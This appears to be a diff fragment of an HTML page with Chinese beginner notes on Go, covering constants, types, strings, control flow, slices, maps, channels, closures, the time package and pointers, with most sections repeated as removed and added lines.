-</code></pre><p>iota在出现const关键字时重置为0，const每增加一行常量声明，iota加1（自增长），_（下划线，空白标识符（占位），常用于忽略函数多个返回值，例如err）为跳过某些值</p><hr><p>类型</p><p>golang的数据类型分为基本数据类型和复合数据类型</p><p>基本数据类型有整型，浮点型，字符串，布尔型</p><p>复合数据类型有数组，函数，切片，结构体，字典（map），通道（channel），接口</p><p>注意：像整型有很多种，像int8，int16，int32，uint8，uint16等等，如果直接写int的话，在不同的操作系统中是不一样的，32为操作系统的int指的是int32，64位操作系统指int64</p><p>可使用unsafe.Sizeof查看变量的长度（在内存中的存储空间），例如：</p><pre><code>var num100 = 100
-fmt.Println(unsafe.Sizeof(num100))
-</code></pre><p>值类型：值类型被声明变量后，不管有没有赋值，都会分配内存给它，也就是说值类型的声明不需要分配内存，因为在声明的时候已经分配好了内存</p><p>引用类型：变量存储的是一个地址，地址对应的内存空间就是真正存储数据的，引用类型必须申请内存才能使用，例如make()</p><p>自定义类型：可以使用type关键字来自定义类型，例如：type Testint int // 将Testint定义为int类型</p><p>类型转换</p><p>注意：高位转低位会出现精度丢失，例如</p><pre><code>var abc int16 = 666
-fmt.Println(int8(abc)) // -102
-</code></pre><p>数字字面量语法</p><p>go1.13版本+，引入了数字字面量语法，方便使用二进制，八进制，十六进制的格式定义数字，例如:</p><pre><code>abc := 0b10100010101000001011
-fmt.Println(abc) // 666123
-</code></pre><p>0b表示二进制</p><p>0o表示八进制</p><p>0x表示十六进制</p><p>进制的转换</p><pre><code>var abc int64 = 100
-fmt.Println(abc)
-a := strconv.FormatInt(abc, 2) // 二进制
-fmt.Println(a)
-b := strconv.FormatInt(abc, 8) // 八进制
-fmt.Println(b)
-c := strconv.FormatInt(abc, 10) // 十进制（默认）
-fmt.Println(c)
-d := strconv.FormatInt(abc, 16) // 十六进制
-fmt.Println(d)
-</code></pre><p>浮点型（也就是小数）</p><p>Go的浮点型分为float32和float64</p><p>float32的浮点数的最大范围为3.4028234663852886e+38，可用math.MaxFloat32输出查看</p><p>float64的浮点数的最大范围为1.7976931348623157e+308，可用math.MaxFloat64输出查看</p><pre><code>var pi = math.Pi
-fmt.Printf(&quot;%f\n&quot;, pi)    // 默认小数点6位
-fmt.Printf(&quot;%.10f\n&quot;, pi) // 指定输出小数点后几位
+*/</p><p>标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线</p><p>常用的数据类型有：</p><p>整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)</p><p>浮点型：float(32,64)，comple</p><p>布尔型：bool（true，false）（bool默认值为false）</p><p>字符串型：string</p><p>数组：array</p><p>结构体：struct</p><hr><p>变量</p><p>var abc string = &ldquo;hallo&rdquo;</p><p>注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）</p><p>定义多个变量</p><p>var abc xyz string = &ldquo;hallo&rdquo;,&ldquo;word&rdquo;</p><p>而且go会根据提供值来判断数据类型是什么，例如：</p><p>var xyz = 666</p><p>go还提供一个特殊的运算符 :=，可以在变量不被声明的情况下使用，例如：</p><p>hallo,word := &ldquo;hallo&rdquo;, &ldquo;word&rdquo;</p><p>:=在实质开发中会经常使用的</p><p>go类型强制转换（和java一样，高精度转为低精度会失真）</p><p>var abc int = 666</p><p>var xyz float = 3.14</p><p>var gg string = &ldquo;123&rdquo;</p><p>float(abc) // 强制转换为浮点数</p><p>int(xyz) // 强制转为整型，会失去小数点之后的数值</p><p>strconv.Itoa(abc) // 强制转为字符串</p><p>strconv.Atoi(gg) // 强制转为整型</p><p>注意：同一作用域中不能重复声明，而且必须要声明变量才能使用，而且必须要使用</p><p>声明多个变量</p><p>var abc,xyz,hallo int</p><pre><code>var(
+    abc int
+    xyz float
+)
+</code></pre><hr><p>常量</p><p>和其他语言一样，常量表示的就是不可修改的变量</p><p>const abc, xyz int = 123, 666</p><p>go还提供了一种特殊的定义方式，例如：</p><pre><code>const(
+    a = &quot;hi&quot;
+    b = &quot;hallo&quot;
+)
+</code></pre><p>如果声明多个常量时，省略了值那么就是表示和第一行值相同，例如：</p><pre><code>const(
+    a = 123
+    b
+    c
+)
+</code></pre><p>注意：定义的时候必须赋值</p><p>iota常量计数器</p><pre><code>const(
+    a = iota
+    b
+    _
+    d
+)
+</code></pre><p>iota在出现const关键字时重置为0，const每增加一行常量声明，iota加1（自增长），_（下划线，空白标识符（占位），常用于忽略函数多个返回值，例如err）为跳过某些值</p><hr><p>类型</p><p>golang的数据类型分为基本数据类型和复合数据类型</p><p>基本数据类型有整型，浮点型，字符串，布尔型</p><p>复合数据类型有数组，函数，切片，结构体，字典（map），通道（channel），接口</p><p>注意：像整型有很多种，像int8，int16，int32，uint8，uint16等等，如果直接写int的话，在不同的操作系统中是不一样的，32为操作系统的int指的是int32，64位操作系统指int64</p><p>可使用unsafe.Sizeof查看变量的长度（在内存中的存储空间），例如：</p><pre><code>var num100 = 100
+fmt.Println(unsafe.Sizeof(num100))
+</code></pre><p>值类型：值类型被声明变量后，不管有没有赋值，都会分配内存给它，也就是说值类型的声明不需要分配内存，因为在声明的时候已经分配好了内存</p><p>引用类型：变量存储的是一个地址，地址对应的内存空间就是真正存储数据的，引用类型必须申请内存才能使用，例如make()</p><p>自定义类型：可以使用type关键字来自定义类型，例如：type Testint int // 将Testint定义为int类型</p><p>类型转换</p><p>注意：高位转低位会出现精度丢失，例如</p><pre><code>var abc int16 = 666
+fmt.Println(int8(abc)) // -102
+</code></pre><p>数字字面量语法</p><p>go1.13版本+，引入了数字字面量语法，方便使用二进制，八进制，十六进制的格式定义数字，例如:</p><pre><code>abc := 0b10100010101000001011
+fmt.Println(abc) // 666123
+</code></pre><p>0b表示二进制</p><p>0o表示八进制</p><p>0x表示十六进制</p><p>进制的转换</p><pre><code>var abc int64 = 100
+fmt.Println(abc)
+a := strconv.FormatInt(abc, 2) // 二进制
+fmt.Println(a)
+b := strconv.FormatInt(abc, 8) // 八进制
+fmt.Println(b)
+c := strconv.FormatInt(abc, 10) // 十进制（默认）
+fmt.Println(c)
+d := strconv.FormatInt(abc, 16) // 十六进制
+fmt.Println(d)
+</code></pre><p>浮点型（也就是小数）</p><p>Go的浮点型分为float32和float64</p><p>float32的浮点数的最大范围为3.4028234663852886e+38，可用math.MaxFloat32输出查看</p><p>float64的浮点数的最大范围为1.7976931348623157e+308，可用math.MaxFloat64输出查看</p><pre><code>var pi = math.Pi
+fmt.Printf(&quot;%f\n&quot;, pi)    // 默认小数点6位
+fmt.Printf(&quot;%.10f\n&quot;, pi) // 指定输出小数点后几位
 </code></pre><p>字符串</p><p>go语言字符串编码为UTF-8</p><p>例如：
-hallo := &ldquo;你好 Word&rdquo;</p><p>可输出多行字符串</p><pre><code>var str123 = `第一行
-第二行
-第三行`
-fmt.Println(str123)
+hallo := &ldquo;你好 Word&rdquo;</p><p>可输出多行字符串</p><pre><code>var str123 = `第一行
+第二行
+第三行`
+fmt.Println(str123)
 </code></pre><p>len()：字符串长度</p><p>+或fmt.Sprintf：拼接字符串</p><p>strings.Index()：返回字符在字符串中的位置</p><p>strings.contains：返回是否包含某个字符</p><p>布尔类型</p><p>var abc = false
-var xyz = true</p><p>byte和rune类型</p><p>组成字符串的元素叫字符，可遍历字符串获取字符</p><p>go语言的字符分为2种类型，分别为uint8（byte，表示ACII码的一个字符）和rune类型（表示一个UTF-8字符）</p><p>因此使用非ACII码的字符，需要使用rune类型（一个汉字占3个字节，字母只占一个字节）</p><p>注意：修改字符串必须将其转换为byte或者rune类型，完成修改后再转回string，例如：</p><pre><code>hallo := &quot;你好,golang&quot;
-abc := []rune(hallo)
-abc[0] = '您'
-fmt.Println(string(abc))
-</code></pre><p>整型转字符串类型</p><pre><code>var a int = 100
-b := fmt.Sprintf(&quot;%d&quot;, a)
-fmt.Printf(b)
-</code></pre><p>字符串转整型或者浮点型</p><pre><code>str := &quot;666&quot;
-str1 := &quot;3.14&quot;
-strScore, err := strconv.Atoi(str)
-fmt.Println(strScore, err) // err为转换失败的信息
-num, err := strconv.ParseInt(str, 10, 64)
-fmt.Println(num, err)
-num1, err := strconv.ParseFloat(str1, 10)
-fmt.Println(num1, err)
-</code></pre><hr><p>运算符</p><p>+：加，-减，*乘，/除，%求余</p><p>注意：在go中，++和&ndash;是单独使用的，是没有++i的，正确写法例如：</p><pre><code>var i int = 64
-i++
-// ++i 错误
-</code></pre><hr><p>if判断</p><pre><code>package main
-import &quot;fmt&quot;
-func main(){
-    abc := 123
-    if abc &gt;666{
-        fmt.Println(&quot;abc大于666&quot;)
-    } else if abc &lt; 666{
-        fmt.Println(&quot;abc小于666&quot;)
-    }else{
-        fmt.Println(abc)
-    }
-}
-</code></pre><p>if的另一种写法：</p><pre><code>if abc:=123; xyz&gt;=100{
-    fmt.Println(&quot;abc&gt;=100&quot;)
-}
-</code></pre><p>switch判断（用于对大量的值进行判断）</p><pre><code>xyz := &quot;abc&quot;
-switch xyz {
-    case &quot;abc&quot;:
-        fmt.Println(&quot;1&quot;)
-    case &quot;123&quot;:
-        fmt.Println(&quot;2&quot;)
-    default:
-        fmt.Println(xyz)
-}
-</code></pre><p>switch判断的另一种使用方法</p><pre><code>switch abc := &quot;hallo&quot;; abc {
-    case &quot;hallo&quot;:{
-        fmt.Println(&quot;hallo&quot;)
-        break
-        // 不用break也能跳出switch语句
-    }
-case &quot;hi&quot;,&quot;hello&quot;:{
-        // 多个值用逗号分隔
-        fmt.Println(&quot;hi&quot;)
-        fmt.Println(&quot;hello&quot;)
-        break	
-    }
-default:{
-        fmt.Println(&quot;hallo word&quot;)
-        break
-    }
-}
-</code></pre><p>如果想继续执行下一个case，可以使用fallthrough语句（switch最后一个分支不要使用fallthrough语句，否则报错，而且不能在case语句中间使用，必须是在case语句最后一个语句中使用）例如：</p><pre><code>func hallo() int {
-abc := 100 + 666 + 123
-return abc
-}
-func main() {
-switch abc := hallo(); {
-case abc &gt; 500:
-    fmt.Printf(&quot;num &lt; 500\n&quot;)
-    fallthrough
-case abc &gt; 666:
-    fmt.Printf(&quot;num &lt; 666\n&quot;)
-    fallthrough
-case abc &gt; 123:
-    fmt.Printf(&quot;num &lt; 123\n&quot;)
-}
-}
-</code></pre><p>for循环</p><pre><code>for abc := 1; abc&lt;10 ; abc++{
-    fmt.Println(abc)
-}
-</code></pre><p>golang是没有while循环语句，但是可以使用for循环来做出类似的功能</p><pre><code>abc := 1
-for abc&lt;10 {
-    fmt.Println(abc)
-    abc++
-}
-</code></pre><p>for循环可用break，goto，return，panic语句退出循环</p><p>break跳出循环</p><p>一次性跳出多层循环 break LOOP</p><p>continue是退出当前循环</p><p>goto是无条件转移到goto语句的行，可用于跳出循环，条件转移，例如：</p><pre><code>func main() {
-    var abc int = 123
-LOOP:
-    for abc &lt; 666 {
-        if abc == 233 {
-            abc = abc + 1
-            goto LOOP
-        }
-        fmt.Printf(abc)
-        abc++
-    }
-}
+var xyz = true</p><p>byte和rune类型</p><p>组成字符串的元素叫字符，可遍历字符串获取字符</p><p>go语言的字符分为2种类型，分别为uint8（byte，表示ACII码的一个字符）和rune类型（表示一个UTF-8字符）</p><p>因此使用非ACII码的字符，需要使用rune类型（一个汉字占3个字节，字母只占一个字节）</p><p>注意：修改字符串必须将其转换为byte或者rune类型，完成修改后再转回string，例如：</p><pre><code>hallo := &quot;你好,golang&quot;
+abc := []rune(hallo)
+abc[0] = '您'
+fmt.Println(string(abc))
+</code></pre><p>整型转字符串类型</p><pre><code>var a int = 100
+b := fmt.Sprintf(&quot;%d&quot;, a)
+fmt.Printf(b)
+</code></pre><p>字符串转整型或者浮点型</p><pre><code>str := &quot;666&quot;
+str1 := &quot;3.14&quot;
+strScore, err := strconv.Atoi(str)
+fmt.Println(strScore, err) // err为转换失败的信息
+num, err := strconv.ParseInt(str, 10, 64)
+fmt.Println(num, err)
+num1, err := strconv.ParseFloat(str1, 10)
+fmt.Println(num1, err)
+</code></pre><hr><p>运算符</p><p>+：加，-减，*乘，/除，%求余</p><p>注意：在go中，++和&ndash;是单独使用的，是没有++i的，正确写法例如：</p><pre><code>var i int = 64
+i++
+// ++i 错误
+</code></pre><hr><p>if判断</p><pre><code>package main
+import &quot;fmt&quot;
+func main(){
+    abc := 123
+    if abc &gt;666{
+        fmt.Println(&quot;abc大于666&quot;)
+    } else if abc &lt; 666{
+        fmt.Println(&quot;abc小于666&quot;)
+    }else{
+        fmt.Println(abc)
+    }
+}
+</code></pre><p>if的另一种写法：</p><pre><code>if abc:=123; xyz&gt;=100{
+    fmt.Println(&quot;abc&gt;=100&quot;)
+}
+</code></pre><p>switch判断（用于对大量的值进行判断）</p><pre><code>xyz := &quot;abc&quot;
+switch xyz {
+    case &quot;abc&quot;:
+        fmt.Println(&quot;1&quot;)
+    case &quot;123&quot;:
+        fmt.Println(&quot;2&quot;)
+    default:
+        fmt.Println(xyz)
+}
+</code></pre><p>switch判断的另一种使用方法</p><pre><code>switch abc := &quot;hallo&quot;; abc {
+    case &quot;hallo&quot;:{
+        fmt.Println(&quot;hallo&quot;)
+        break
+        // 不用break也能跳出switch语句
+    }
+case &quot;hi&quot;,&quot;hello&quot;:{
+        // 多个值用逗号分隔
+        fmt.Println(&quot;hi&quot;)
+        fmt.Println(&quot;hello&quot;)
+        break	
+    }
+default:{
+        fmt.Println(&quot;hallo word&quot;)
+        break
+    }
+}
+</code></pre><p>如果想继续执行下一个case，可以使用fallthrough语句（switch最后一个分支不要使用fallthrough语句，否则报错，而且不能在case语句中间使用，必须是在case语句最后一个语句中使用）例如：</p><pre><code>func hallo() int {
+abc := 100 + 666 + 123
+return abc
+}
+func main() {
+switch abc := hallo(); {
+case abc &gt; 500:
+    fmt.Printf(&quot;num &lt; 500\n&quot;)
+    fallthrough
+case abc &gt; 666:
+    fmt.Printf(&quot;num &lt; 666\n&quot;)
+    fallthrough
+case abc &gt; 123:
+    fmt.Printf(&quot;num &lt; 123\n&quot;)
+}
+}
+</code></pre><p>for循环</p><pre><code>for abc := 1; abc&lt;10 ; abc++{
+    fmt.Println(abc)
+}
+</code></pre><p>golang是没有while循环语句，但是可以使用for循环来做出类似的功能</p><pre><code>abc := 1
+for abc&lt;10 {
+    fmt.Println(abc)
+    abc++
+}
+</code></pre><p>for循环可用break，goto，return，panic语句退出循环</p><p>break跳出循环</p><p>一次性跳出多层循环 break LOOP</p><p>continue是退出当前循环</p><p>goto是无条件转移到goto语句的行，可用于跳出循环，条件转移，例如：</p><pre><code>func main() {
+    var abc int = 123
+LOOP:
+    for abc &lt; 666 {
+        if abc == 233 {
+            abc = abc + 1
+            goto LOOP
+        }
+        fmt.Printf(abc)
+        abc++
+    }
+}
 </code></pre><p>return可用于函数或者方法中，用于跳出当前函数或者方法，如果return语句在main函数中，将是终止程序运行，在普通函数中，将是终止当前函数执行（return后面的程序不执行了）</p><p>当return没有带返回值，将是终止，如果带返回值，那么就是终止并且返回值</p><p>go语言并没有像java那样的异常嵌套机制，go语言用panic-and-recover来替代</p><p>panic可中断原来的流程控制，某个函数调用了panic，将终止该函数的执行，如果有延迟函数（defer）则执行该defer函数，返回其调用者，一直到goroutine（goroutine是go语言的轻量级线程，由runtime管理，go语言会智能的将goroutine中的任务合理分配给每个CPU，go程序在运行时，会给main()函数建立一个默认goroutine，用go关键字创建goroutine，例如：go 函数名(参数)）的全部函数都返回，然后打印panic信息，堆栈信息，最后到终止程序</p><p>panic：在任何地方都可以触发
-recover：只在用了defer修饰的函数内有效</p><p>注意：平时不要用panic-and-recover，而是errors，只有当程序不能继续执行了才用，例如出现不可恢复的错误，不能再让它继续执行了，这里举个例子：</p><pre><code>func abc() {
-fmt.Println(&quot;hallo word&quot;)
-}
-func hallo() {
-defer func() {
-    err := recover()
-    if err != nil {
-	fmt.Println(&quot;hallo word&quot;)
-    }
-    }()
-    panic(&quot;runtime error!!!&quot;)
-}
-func main() {
-abc()
-hallo()
-}
-</code></pre><p>errors（在go语言中，发生错误，是通过返回errprs值，来对errprs值进行修改或者忽略，当没有错误时，rrprs值为nil，因此可以通过判断errors的值是否为nil来知道是否出现错误，以及处理错误）</p><p>for range循环（可用于遍历数组，字符串，字典（map），切片（数组），channel（通道））</p><p>for range循环数组，字符串，切片返回索引和值，字典（map）返回键和值，channel（通道）返回通道内的值</p><p>例如：</p><pre><code>var abc = &quot;hallo word&quot;
-for key, index := range abc {
-    fmt.Printf(&quot;%v:%c,&quot;, key, index)
-}
-</code></pre><hr><p>数组（在go中，数组是指同一系列，同一类型的数据集合，组成数组的数据叫元素，go语言的数组的元素是被分配到连续的内存地址中，索引元素是速度非常快的）</p><pre><code>var abc [16]int // 定义int类型，元素个数为16的数组
-abc[0] = 10
-abc[1] = 66
-fmt.Println(abc)
-var xyz = [3]string {&quot;hallo word&quot;,&quot;golang&quot;,&quot;hahaha&quot;}
-fmt.Println(xyz)
-var a = [...]int{1, 2, 3, 4, 5} // 自动判断数组长度
-fmt.Println(a)
-b := [...]int{1: 66, 3: 100}
-fmt.Println(b)
-</code></pre><p>遍历数组</p><pre><code>hallo := [...]int{1: 66, 3: 100}
-for i := 0; i &lt; len(hallo); i++ {
-    fmt.Print(hallo[i], &quot;\n&quot;)
-}
-</code></pre><p>也可以用for range方法</p><p>数组是值类型，将数组赋值给另一个变量，会生成副本，修改另一个变量，只会修改副本，不会修改原来的数组，例如：</p><pre><code>hallo := [...]int{1: 66, 3: 100}
-abc := hallo
-abc[1] = 100
-fmt.Println(hallo, abc)
-</code></pre><p>可以看到在golang中数组不是引用类型</p><p>二维数组</p><pre><code>var abc = [...][2]int{{100,123},{222,333},{666,60}}
-fmt.Println(abc)
-for i := 0; i &lt; len(abc); i++ {
-    for j := 0; j &lt; len(abc[0]); j++ {
-        fmt.Println(abc[i][j])
-    }
-}
-</code></pre><p>数组的初始值为nil（nil表示为空）</p><p>知识点：指针和引用类型的默认值为nil，需要分配空间</p><hr><p>切片</p><p>切片和数组类似（切片是基于数组类型进行一层封装），不过切片是引用类型（调用的只是在内存中的地址，指针）的</p><pre><code>var hallo = []int{100, 2333, 666}
-abc := hallo
-abc[0] = 123
-xyz = abc[1:2]
-fmt.Println(hallo, abc, xyz)
-for i := 0; i &lt; len(abc); i++ {
-    fmt.Print(abc[i], &quot;\n&quot;)
-}
-</code></pre><p>长度用len()获取，容量用cap()获取</p><p>make函数创建切片</p><pre><code>var data = make([]int, 2, 8) // int类型，长度为2，容量为8
-fmt.Printf(&quot;长度：%d, 容量%d&quot;, len(data), cap(data))
-</code></pre><p>append()切片扩容</p><pre><code>var hallo = []int64{100, 2333, 666}
-hallo = append(hallo, 123)
-fmt.Println(hallo) // 100, 2333, 666, 123
-abc := []int64{1,3,4,5,6}
-hallo = append(hallo, abc...) // 将两个切片合并
-fmt.Println(hallo) // 100,2333,666,123,1,3,4,5,6
-</code></pre><p>copy()函数复制切片（可以理解为深拷贝）</p><pre><code>var hallo = []int64{100, 2333, 666}
-var abc = make([]int64, len(hallo), len(hallo))
-copy(hallo, abc)
-abc[0] = 4
-fmt.Println(hallo,abc)
-</code></pre><p>删除切片的值（golang中并没有删除切片的值的方法，不过可以用append()实现）</p><pre><code>var hallo = []int64{100, 2333, 666}
-hallo = append(hallo[:2], hallo[3:]...)
-fmt.Println(hallo)
-</code></pre><p>遍历切片和数组一样</p><hr><p>map（字典）</p><p>map（字典）是无序的基于key-value的数据结构，在golang中map是引用类型</p><pre><code>var abc = make(map[string]int) // string是键的类型，int是键对应的值的类型
-abc[&quot;user&quot;] = 123
-abc[&quot;pass&quot;] = 666
-fmt.Println(abc)
-fmt.Println(abc[&quot;pass&quot;])
-</code></pre><p>或者</p><pre><code>var hallo = map[string]string {
-    &quot;user&quot;:&quot;root&quot;,
-    &quot;pass&quot;:&quot;abchahaha&quot;,
-}
-fmt.Println(hallo)
-</code></pre><p>遍历map</p><pre><code>var hallo = map[string]string {
-    &quot;user&quot;:&quot;root&quot;,
-    &quot;pass&quot;:&quot;abchahaha&quot;,
-}
-for key, value := range hallo {
-    fmt.Println(&quot;key:&quot;, key, &quot; value:&quot;, value)
-}
-</code></pre><p>判断map中某个键值是否存在</p><pre><code>var hallo = map[string]string {
-    &quot;user&quot;:&quot;root&quot;,
-    &quot;pass&quot;:&quot;abchahaha&quot;,
-}
-value, yes := hallo[&quot;pass&quot;] // 返回2个值。value为返回结果，yes为是否存在该键值
-fmt.Println(value, yes)
-</code></pre><p>delete()删除键值对</p><pre><code>var hallo = map[string]string {
-    &quot;user&quot;:&quot;root&quot;,
-    &quot;pass&quot;:&quot;abchahaha&quot;,
-}
-delete(hallo, &quot;pass&quot;)
-value, no := hallo[&quot;pass&quot;]
-fmt.Println(value, no)
+recover：只在用了defer修饰的函数内有效</p><p>注意：平时不要用panic-and-recover，而是errors，只有当程序不能继续执行了才用，例如出现不可恢复的错误，不能再让它继续执行了，这里举个例子：</p><pre><code>func abc() {
+fmt.Println(&quot;hallo word&quot;)
+}
+func hallo() {
+defer func() {
+    err := recover()
+    if err != nil {
+	fmt.Println(&quot;hallo word&quot;)
+    }
+    }()
+    panic(&quot;runtime error!!!&quot;)
+}
+func main() {
+abc()
+hallo()
+}
+</code></pre><p>errors（在go语言中，发生错误，是通过返回errprs值，来对errprs值进行修改或者忽略，当没有错误时，rrprs值为nil，因此可以通过判断errors的值是否为nil来知道是否出现错误，以及处理错误）</p><p>for range循环（可用于遍历数组，字符串，字典（map），切片（数组），channel（通道））</p><p>for range循环数组，字符串，切片返回索引和值，字典（map）返回键和值，channel（通道）返回通道内的值</p><p>例如：</p><pre><code>var abc = &quot;hallo word&quot;
+for key, index := range abc {
+    fmt.Printf(&quot;%v:%c,&quot;, key, index)
+}
+</code></pre><hr><p>数组（在go中，数组是指同一系列，同一类型的数据集合，组成数组的数据叫元素，go语言的数组的元素是被分配到连续的内存地址中，索引元素是速度非常快的）</p><pre><code>var abc [16]int // 定义int类型，元素个数为16的数组
+abc[0] = 10
+abc[1] = 66
+fmt.Println(abc)
+var xyz = [3]string {&quot;hallo word&quot;,&quot;golang&quot;,&quot;hahaha&quot;}
+fmt.Println(xyz)
+var a = [...]int{1, 2, 3, 4, 5} // 自动判断数组长度
+fmt.Println(a)
+b := [...]int{1: 66, 3: 100}
+fmt.Println(b)
+</code></pre><p>遍历数组</p><pre><code>hallo := [...]int{1: 66, 3: 100}
+for i := 0; i &lt; len(hallo); i++ {
+    fmt.Print(hallo[i], &quot;\n&quot;)
+}
+</code></pre><p>也可以用for range方法</p><p>数组是值类型，将数组赋值给另一个变量，会生成副本，修改另一个变量，只会修改副本，不会修改原来的数组，例如：</p><pre><code>hallo := [...]int{1: 66, 3: 100}
+abc := hallo
+abc[1] = 100
+fmt.Println(hallo, abc)
+</code></pre><p>可以看到在golang中数组不是引用类型</p><p>二维数组</p><pre><code>var abc = [...][2]int{{100,123},{222,333},{666,60}}
+fmt.Println(abc)
+for i := 0; i &lt; len(abc); i++ {
+    for j := 0; j &lt; len(abc[0]); j++ {
+        fmt.Println(abc[i][j])
+    }
+}
+</code></pre><p>数组的初始值为nil（nil表示为空）</p><p>知识点：指针和引用类型的默认值为nil，需要分配空间</p><hr><p>切片</p><p>切片和数组类似（切片是基于数组类型进行一层封装），不过切片是引用类型（调用的只是在内存中的地址，指针）的</p><pre><code>var hallo = []int{100, 2333, 666}
+abc := hallo
+abc[0] = 123
+xyz = abc[1:2]
+fmt.Println(hallo, abc, xyz)
+for i := 0; i &lt; len(abc); i++ {
+    fmt.Print(abc[i], &quot;\n&quot;)
+}
+</code></pre><p>长度用len()获取，容量用cap()获取</p><p>make函数创建切片</p><pre><code>var data = make([]int, 2, 8) // int类型，长度为2，容量为8
+fmt.Printf(&quot;长度：%d, 容量%d&quot;, len(data), cap(data))
+</code></pre><p>append()切片扩容</p><pre><code>var hallo = []int64{100, 2333, 666}
+hallo = append(hallo, 123)
+fmt.Println(hallo) // 100, 2333, 666, 123
+abc := []int64{1,3,4,5,6}
+hallo = append(hallo, abc...) // 将两个切片合并
+fmt.Println(hallo) // 100,2333,666,123,1,3,4,5,6
+</code></pre><p>copy()函数复制切片（可以理解为深拷贝）</p><pre><code>var hallo = []int64{100, 2333, 666}
+var abc = make([]int64, len(hallo), len(hallo))
+copy(hallo, abc)
+abc[0] = 4
+fmt.Println(hallo,abc)
+</code></pre><p>删除切片的值（golang中并没有删除切片的值的方法，不过可以用append()实现）</p><pre><code>var hallo = []int64{100, 2333, 666}
+hallo = append(hallo[:2], hallo[3:]...)
+fmt.Println(hallo)
+</code></pre><p>遍历切片和数组一样</p><hr><p>map（字典）</p><p>map（字典）是无序的基于key-value的数据结构，在golang中map是引用类型</p><pre><code>var abc = make(map[string]int) // string是键的类型，int是键对应的值的类型
+abc[&quot;user&quot;] = 123
+abc[&quot;pass&quot;] = 666
+fmt.Println(abc)
+fmt.Println(abc[&quot;pass&quot;])
+</code></pre><p>或者</p><pre><code>var hallo = map[string]string {
+    &quot;user&quot;:&quot;root&quot;,
+    &quot;pass&quot;:&quot;abchahaha&quot;,
+}
+fmt.Println(hallo)
+</code></pre><p>遍历map</p><pre><code>var hallo = map[string]string {
+    &quot;user&quot;:&quot;root&quot;,
+    &quot;pass&quot;:&quot;abchahaha&quot;,
+}
+for key, value := range hallo {
+    fmt.Println(&quot;key:&quot;, key, &quot; value:&quot;, value)
+}
+</code></pre><p>判断map中某个键值是否存在</p><pre><code>var hallo = map[string]string {
+    &quot;user&quot;:&quot;root&quot;,
+    &quot;pass&quot;:&quot;abchahaha&quot;,
+}
+value, yes := hallo[&quot;pass&quot;] // 返回2个值。value为返回结果，yes为是否存在该键值
+fmt.Println(value, yes)
+</code></pre><p>delete()删除键值对</p><pre><code>var hallo = map[string]string {
+    &quot;user&quot;:&quot;root&quot;,
+    &quot;pass&quot;:&quot;abchahaha&quot;,
+}
+delete(hallo, &quot;pass&quot;)
+value, no := hallo[&quot;pass&quot;]
+fmt.Println(value, no)
 </code></pre><hr><p>通道</p><p>Golang中还有一个特殊的类型chan，这个类型一般用来线程之间的数据传输</p><p>声明chan</p><p>var a chan int
 a := make(chan int, 1)
 a &lt;- 999
-b := &lt;- a</p><p>chan底层是指针，指针初始值为空，需要实例化，make()就是实例化了chan</p><p>&lt;- 999：将值放进通道</p><p>&lt;- a : 将 999 从通道中提取出来</p><hr><p>函数</p><p>函数通过func关键字来声明和定义函数</p><pre><code>func hallo(a ...string){
-    fmt.Println(a)
-}
-func main(){
-    hallo(&quot;hallo golang!!!&quot;)
-}
-</code></pre><p>匿名函数</p><pre><code>func main() {
-func () {
-    fmt.Println(&quot;我是匿名函数&quot;)
-}()
-}
-</code></pre><p>因为没有函数名，没法像正常函数那样被调用，需要将其赋值或者作为立即执行函数</p><p>返回值</p><pre><code>func hallo(a, b int) (int,int,int) {
-    x := a+b
-    y := a-b
-    z := a*b
-    return x, y, z
-}
-func main(){
-    abc, xyz, go := hallo(6,3)
-    fmt.Println(abc, xyz, go)
-}
-</code></pre><p>当然也是可以自动返回</p><p>func hallo(a, b int) (x int,y int,z int){}</p><p>golang的全局变量和局部变量</p><p>全局变量：常驻内存中，污染全局</p><p>局部变量：不常驻内存中，不污染全局</p><p>闭包：让变量可以常驻内存的同时，不污染全局</p><p>闭包的写法：</p><pre><code>func hallo() func() int {
-i := 123
-return func() int {
-    return i + 666
-}
-}
-func main() {
-var abc = hallo()
-fmt.Println(abc())
-}
-</code></pre><p>或者</p><pre><code>func hallo() func(a int) int {
-var i = 10
-return func(a int) int {
-    i = i + a
-    return i
-    }
-}
-func main() {
-var abc = hallo()
-fmt.Println(abc(666))
-}
-</code></pre><p>defer修饰语句可以延迟执行语句，例如：</p><pre><code>fmt.Println(&quot;1&quot;)
-defer fmt.Println(&quot;2&quot;)
-fmt.Println(&quot;3&quot;)
-</code></pre><p>如果使用多个defer修饰语句，会逆序执行（先使用defer最后执行，最后使用defer，最早执行（相对于使用defer修饰的语句））</p><hr><p>在golang中的time包提供了时间显示和测量时间的函数</p><p>获取时间（年-月-日）例如：</p><pre><code>timedata := time.Now()
-year := timedata.Year()
-month := timedata.Month()
-day := timedata.Day()
-fmt.Printf(&quot;%d-%02d-%02d \n&quot;, year, month, day)
-</code></pre><p>格式化日期（在golang中，并且不是使用Y-m-d H:M:S模板格式化，而且是使用Go的诞生时间：2006年1月2日 15点04分）</p><p>例如：</p><pre><code>timedata := time.Now()
-fmt.Println(timedata.Format(&quot;2006-01-02 15:04:05&quot;)) // 24小时制
-fmt.Println(timedata.Format(&quot;2006-01-02 03:04:05&quot;)) // 12小时制
-</code></pre><p>获取时间戳（时间戳是自1070年1月1日08:00:00GMT至今的总毫秒数，又叫Unix时间戳）</p><p>例如：</p><pre><code>timedata := time.Now()
-unixTime := timedata.Unix() // 毫秒时间戳
-unixNaTime := timedata.UnixNano() // 纳秒时间戳
-fmt.Println(unixTime,unixNaTime)
-</code></pre><p>时间戳转正常日期</p><pre><code>var abc = time.Unix(1642746020, 0)
-var xyz = abc.Format(&quot;2006-01-02 15:04:05&quot;)
-fmt.Println(xyz)
-</code></pre><p>正常日期转时间戳</p><pre><code>var abc = &quot;2022-01-21 14:21:55&quot;
-var tmp = &quot;2006-01-02 15:04:05&quot;
-timedata, err := time.ParseInLocation(tmp, abc, time.Local)
-fmt.Println(timedata.Unix())
-</code></pre><p>时间的间隔（两个时间之间的间隔，单位为纳秒，time.Duration是time定义的类型，表示一段时间间隔，最大可以表示290年）</p><pre><code>data := time.Now()
-abc := data.Add(time.Hour)
-xyz := data.Add(time.Second)
-fmt.Println(abc) // 输出1个小时后的时间
-fmt.Println(xyz) // 输出1秒后的时间
-</code></pre><hr><p>指针</p><p>golang的指针有3个概念，地址，类型，取值</p><p>&：获取地址，*：根据地址取值</p><pre><code>a := 100
-b := &amp;a
